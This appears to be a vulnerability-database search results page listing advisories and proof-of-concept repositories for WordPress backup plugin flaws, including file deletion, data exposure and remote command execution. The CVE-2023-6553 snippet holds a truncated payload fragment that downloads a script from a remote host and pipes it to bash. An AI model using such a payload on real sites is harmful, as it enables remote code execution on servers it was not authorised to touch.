204 matches found
CVE-2023-6972-Exploit-Arbitrary-File-Deletion
CVE-2023-6972 Proof of Concept PoC Description This repository contains a Proof of Concept PoC exploit for CVE-2023-6972. The vulnerability allows for Unauthenticated Arbitrary File Deletion AFD in Wordpress Backup Migration Plugin Note: A comprehensive technical breakdown, full case study, and...
CVE-2023-6553
CVE-2023-6553 Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress This is a critical CVE with a CVSS score of 9.8 The vulnerability allows attacker to send commands to the server running the vulnerable version of the plugin Vulnerable Version Backup :9000/a.sh |bash';?" 3. You wil...
CVE-2026-41559
Unauthenticated Sensitive Data Exposure in SafeSnap – Verified WordPress Backup & Restore = 2.1.2 versions...
EUVD-2026-93046
Unauthenticated Sensitive Data Exposure in SafeSnap – Verified WordPress Backup & Restore = 2.1.2 versions...
CVE-2026-41559
The SafeSnap – Verified WordPress Backup & Restore plugin (versions
CVE-2026-41559 WordPress SafeSnap – Verified WordPress Backup & Restore plugin <= 2.1.2 - Sensitive Data Exposure vulnerability
Unauthenticated Sensitive Data Exposure in SafeSnap – Verified WordPress Backup & Restore = 2.1.2 versions...
CVE-2026-41559 WordPress SafeSnap – Verified WordPress Backup & Restore plugin <= 2.1.2 - Sensitive Data Exposure vulnerability
Unauthenticated Sensitive Data Exposure in SafeSnap – Verified WordPress Backup & Restore = 2.1.2 versions...
PT-2026-106468
Unauthenticated Sensitive Data Exposure in SafeSnap – Verified WordPress Backup & Restore = 2.1.2 versions...
CVE-2026-41559: Insertion of Sensitive Information Into Sent Data
Unauthenticated Sensitive Data Exposure in SafeSnap – Verified WordPress Backup & Restore = 2.1.2 versions...
WordPress SafeSnap – Verified WordPress Backup & Restore plugin <= 2.1.2 - Sensitive Data Exposure vulnerability
Sensitive Data Exposure vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin SafeSnap – Verified WordPress Backup & Restore versions = 2.1.2...
CVE-2026-101148 BackupSheep <= 1.8 - Unauthenticated Arbitrary File Deletion and Backup Exfiltration via Empty Integration Key
The BackupSheep WordPress Backup Plugin WordPress plugin through 1.8 does not properly validate its integration key, treating an unset or blank key as valid, which allows unauthenticated attackers to create and download full site backups, including the database with user password hashes, and to...
CVE-2026-101148 BackupSheep <= 1.8 - Unauthenticated Arbitrary File Deletion and Backup Exfiltration via Empty Integration Key
The BackupSheep WordPress Backup Plugin WordPress plugin through 1.8 does not properly validate its integration key, treating an unset or blank key as valid, which allows unauthenticated attackers to create and download full site backups, including the database with user password hashes, and to...
CVE-2026-101148: External Control of File Name or Path
The BackupSheep WordPress Backup Plugin WordPress plugin through 1.8 does not properly validate its integration key, treating an unset or blank key as valid, which allows unauthenticated attackers to create and download full site backups, including the database with user password hashes, and to...
CVE-2026-97197
Unauthenticated Broken Access Control in WordPress Backup & Migration = 1.6.0 versions...
CVE-2026-97197
The WordPress Backup & Migration plugin versions
EUVD-2026-89898
Unauthenticated Broken Access Control in WordPress Backup & Migration = 1.6.0 versions...
CVE-2026-97197 WordPress WordPress Backup & Migration plugin <= 1.6.0 - Broken Access Control vulnerability
Unauthenticated Broken Access Control in WordPress Backup & Migration = 1.6.0 versions...
CVE-2026-97197 WordPress WordPress Backup & Migration plugin <= 1.6.0 - Broken Access Control vulnerability
Unauthenticated Broken Access Control in WordPress Backup & Migration = 1.6.0 versions...